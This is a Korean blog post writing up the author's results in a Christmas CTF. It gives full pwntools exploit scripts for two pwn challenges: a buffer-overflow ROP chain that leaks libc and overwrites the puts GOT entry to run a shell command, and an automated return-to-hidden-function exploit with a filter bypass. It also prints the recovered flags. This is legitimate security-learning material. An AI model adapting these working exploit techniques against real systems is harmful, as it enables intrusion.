티스토리 뷰
12월 25일에 한 크리스마스 CTF이다...
흑...
10등으로 마무리했다.
adultsccomp
, Dynamic SQL
, Dead file
은 나랑 팀원들이 거의다 풀었는데 점수를 못얻어서 아쉬웠다...
쨋든 나는 아침에 조금, 저녁에 조금밖에 못해서 쉬운거 몇개밖에 못풀었다..
Santa Game
auto injection
MIRO
Mic check
되게 쉬운것들 밖에 없다.... 수치..
Solo Test
퍼블 먹을 수 있었는데 다른 문제 더 쉬운거 있나 찾아보다가 놓쳤당...
summary
질문몇개 물어본다 -> 통과하면
bof
ROP
"/bin/sh\x00"
이 로되리안 걸려서cat
으로 플래그 땃다.
exploit code
from pwn import *
p = remote("115.68.235.72", 1337)
#P = Process("./solo_test")
e = ELF("./solo_test")
l = e.libc
p.recvuntil(">> ")
p.sendline("Me")
p.recvuntil(">> ")
p.sendline("No")
p.recvuntil(">> ")
p.sendline("CTF")
p.recvuntil(">> ")
p.sendline("Never")
p.recvuntil(">> ")
p.sendline("No")
prdi = 0x0000000000400b83
prsi = 0x0000000000400b81
dummy = 0x58
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
pay = '\x90' * 0x58
pay += p64(prdi)
pay += p64(e.got['read'])
pay += p64(prsi) + p64(0)*2
pay += p64(puts_plt)
pay += p64(prdi) + p64(0) + p64(prsi) + p64(e.bss()+0x100) + p64(0)
pay += p64(read_plt)
pay += p64(prdi) + p64(0) + p64(prsi) + p64(puts_got) + p64(0)
pay += p64(read_plt)
pay += p64(prdi)
pay += p64(e.bss()+0x100)
pay += p64(prsi) + p64(0) + p64(0)
pay += p64(puts_plt)
p.recv()
p.send(pay)
libc = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00')) - 0x10cf70
log.info(hex(libc))
log.info(hex(len(pay)))
p.send('cat /home/solo_test/flag')
sleep(0.5)
p.send(p64(libc+0x052fd0))
p.interactive()
flag : XMAS{y0u_kn0w...S010_f0rever!}
Santa Game
처음 본 문제
summary
ip
랑 port
입력받고 거따가 플래그 쏴주는데
prob.py
보면 localhost
, 0.0.0.0
, 127.0.0.1
이 아니면 프로그램을 죽인다.
=>그냥 0.0.0.0
이랑 문제 nc port
입력하면 플래그 뜬다.
auto injection
간단한 rtl aeg
였다... 정말 간단하고 익스도 5분만에 다 짰는데.. filtering이 걸려있어서 놓쳤다.. 슬프다...
summary
입력받고, 입력받은값으로
system(입력)
해주는hidden
함수 존재하지만, 입력값 필터링
ret
만 덮을 수 있는 취약 함수 존재 =>hidden
함수로 덮기
쨋든 인코딩 된 바이너리 디코딩 하고 objump
로 무작위 dummy
값, hidden
함수 주소 알아내고 hidden
함수 호출까지 하면 거의다했~~~~기는 무슨 요상한 filtering
이 존재한다.
filtering
bh?*cmvi
는 무조건 필터링 되고, 바이너리마다 10개에서 20개 가량 무작위로 printable
한것들을 뽑아서 추가로 필터링한다.
즉 bh?*cmvi
에 안걸리면, 브포할 시 플래그&쉘 을 얻을 수 있따
$SHELL
로 쉘 따도 계속 EOF
터지길래 빡쳐서 ret
만 덮을 수 있는 곳에서 pivot
하다가 로되리안 걸리고
(진짜 저거때매 개빡친다 ㅡ.ㅡ),
팀원 덕분에ls grep -r XMAS
를 찾아서 사용했다.
home
디렉토리에서 ls
하고 나오는 디렉토리, 파일속에 XMAS
문자열이 포함되어있는것들을 보여준다.
exploit code
from pwn import *
import base64
#context.log_level = 'debug'
p = remote('115.68.235.72', 5252)
r = process('/bin/sh')
s1 = p.recvuntil('=')
b1 = s1.encode("UTF-8")
d = base64.b64decode(b1)
f = open("binary", "w")
f.write(d)
f.close()
e = ELF('./binary')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
prdi = 0x00000000004008f3
prsi = 0x00000000004008f1
bss = e.bss()+0x50
r.sendline('objdump -d binary')
r.recvuntil("vuln")
r.recvuntil('sub $')
dummy = int(r.recvuntil(',')[:-1], 16) + 4
r.sendline('objdump -d binary')
hidden_addr = int('0x' + r.recvuntil(" <hidden>")[-17:-9], 16)
ret = dummy*"\x90"+p32(hidden_addr)
log.info('[ vuln dummy ] : ' + hex(dummy))
log.info('[ hidden addr ] : ' + hex(hidden_addr))
p.recvuntil("here : ")
dire = p.recvuntil("\n")[:-1]
p.recvuntil("gogo : ")
p.send(ret)
print dire
p.recvuntil("art!!")
p.sendline('ls | grep -r XMAS\x00')
print p.recv()
sleep(1)
print p.recv()
sleep(1)
print p.recv()
p.interactive()
flag : XMAS{4c7u4lly_Just_Luck_:p}
Miro
걍 마우스로 미로 통과하면된다.
Mic check
그냥 마이크 췤 이당.
....
진짜 더 열심히 할거다....
하....